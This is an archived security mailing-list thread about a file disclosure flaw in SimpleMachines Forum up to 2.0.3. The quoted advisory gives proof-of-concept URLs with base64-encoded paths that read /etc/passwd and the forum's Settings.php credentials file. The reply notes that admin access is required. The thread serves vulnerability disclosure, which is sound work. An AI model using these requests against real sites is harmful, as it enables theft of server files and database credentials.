Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 8 Jan 2013 10:36:23 -0300
From: WHK Yan <yan.uniko.102@...il.com>
To: Carlos Alberto Lopez Perez <clopez@...lia.com>
Cc: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.com, 
	mr.inj3ct0r@...il.com, submit@...ecurity.com, vuln@...unia.com, 
	vuldb@...urityfocus.com, oss-security@...ts.openwall.com
Subject: Re: [Full-disclosure] File Disclosure in SimpleMachines Forum <= 2.0.3

The flaw is not exploitable without privileges. On some occasions there are
forums where there are co-admistrators which have privileges to view the
error log but not to modify code or at least read the mysql connection.

Not have CVE-ID.

2013/1/8 Carlos Alberto Lopez Perez <clopez@...lia.com>

> On 07/01/13 15:54, WHK Yan wrote:
> > *Summary:*
> > --------------
> > A security flaw allows an attacker to know the full source file of the
> web
> > system.
> >
> > *Details:
> > -----------
> > Sources/ManageErrors.php Line 340:
> > // Make sure the file we are looking for is one they are allowed to look
> at
> > if (!is_readable($file) || (strpos($file, '../') !== false && (
> > strpos($file, $boarddir) === false || strpos($file, $sourcedir) ===
> false)))
> >     fatal_lang_error('error_bad_file', true,
> > array(htmlspecialchars($file)));
> >
> > Bypass function strpos($file, '../'), no need "../", example:
> > /home/foo/www/Settings.php
> >
> > *PoC:
> > -------
> >
> http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
> > Read /etc/passwd
> >
> > works with path disclosure for read Settings.php:
> > http://whk.drawcoders.net/index.php/topic,2792.0.html
> >
> > *Reproduce:
> > 1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
> > 2. Get full path of web app ( /home/1337/public_html/SSI.php ).
> > 3. Exploit in base64:
> >
> http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=
> > To read /home/spadmin/public_html/Settings.php
> >
> > Referer and Mirror:
> > -------------------------
> > http://whk.drawcoders.net/index.php/topic,2805.0.html
> >
> >
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
> Hi!
>
>
> I have verified SMF is affected by this issue.
>
> The PoC requires an admin login to be exploited. Is there any
> possibility to exploit this issue without an admin login?
>
>
> I guess a CVE should be assigned. Do you already asked for one?
>
>

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.